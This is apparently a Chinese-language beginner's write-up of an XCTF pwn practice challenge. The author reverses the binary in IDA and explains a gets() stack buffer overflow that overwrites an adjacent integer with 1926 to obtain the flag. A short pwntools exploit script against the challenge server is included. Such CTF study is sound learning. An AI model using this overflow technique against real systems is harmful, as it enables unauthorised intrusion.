CTF,第一题
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1
呃,这题是xctf 上的练习题
我第一次搞这个,所以还不太懂界面上的都是什么,浪费了太多时间。
界面是这样的,乱七八糟一堆信息,但是实际上只有下面两个框里面的东西有用。
题目附件就是目标要干掉的软件,软件是运行在Linux 下的。
题目场景是目标软件在云服务器上的题目接口,用来取flag的。
主要流程是,先根据本地程序分析题目要求,然后做出针对,
最后用针对方法,从场景中,拿到结果。
大致就是这样。
今天第一题,从头开始吧。看起来不难,但是具体,谁知道呢。
题目很简单,
这是全部结果,弄IDA里面看看。
逻辑很简单,输入一个数字,这个数字如果等于1926,就结束了,
如果不等于1926,输入名字,然后就SB了,这里又要求必须等于1926才给结果,
system 句,其实是输出一个文件的内容,显然flag 在文件里面,
前面要求不能等于1926,后面又要求必须等于1926,吃饱了撑的。
怎么解决,怎么解决,怎么解决。
其实好解决,
针对本题,在询问名字之后,它后面接收名字的buffer 竟然只是一个char,而且没有做长度校验,
本题中接收数字的v5和接收年龄的v4挨着,看一眼汇编,啥情况
情况就是这样,一个 ebp - 0x20,一个 ebp - 0x18
接收名字的buffer 在前面,是 -0x20,接收数字的buffer 是 -0x18,在后面,
而gets 写内存又是从前向后写的,而gets又没有判断内存长度,
所以好办了。我想办法构造一个特殊的字符串,让 -0x20 接收字符串的时候可以直接覆盖后面的数字,改变数字的值变成前面需要的1926,
大致就是做到一个缓冲区溢出的效果。
差不多吧。
使用python尝试一下。
1 from pwn import * 2 3 #a = process("./24ac28ef281b4b6caab44d6d52b17491") 4 a = remote('124.126.19.106', 41549) 5 r = a.recvuntil("What's Your Birth?\n") 6 print(r) 7 a.send("123\n") 8 r = a.recvuntil('\n') 9 print(r) 10 11 str = "A" * 8 + "\x86\x07\x00\x00" 12 print(str) 13 a.send(str); 14 15 a.interactive()
代码就是这样,导入pwn 库,
然后连接远程服务器,接收第一个标准字符串,
之后,上报给服务器一个错误的数字,
等待服务器返回,输出服务器返回的文字,直到 \n,
然后构造一个特殊的字符串了,
由于之前看到了,-0x20到 -0x18 中间相差8个字节,
所以名字的前8个字节可以为任意字符,
之后由于数字是个int 型,不是 int64,其实构造成int64也可以,但是没必要,
将1926转换成 16进制就是 0x786,按照小端排序,将数字重整,
然后追加到字符串之后,发送给服务器,
最后补一个信息接收,效果
我输入的被全收了,答案也就出来了。哎,第一次,墨迹墨迹墨迹太久,希望下次不会墨迹太久。。。
天太晚了,睡觉。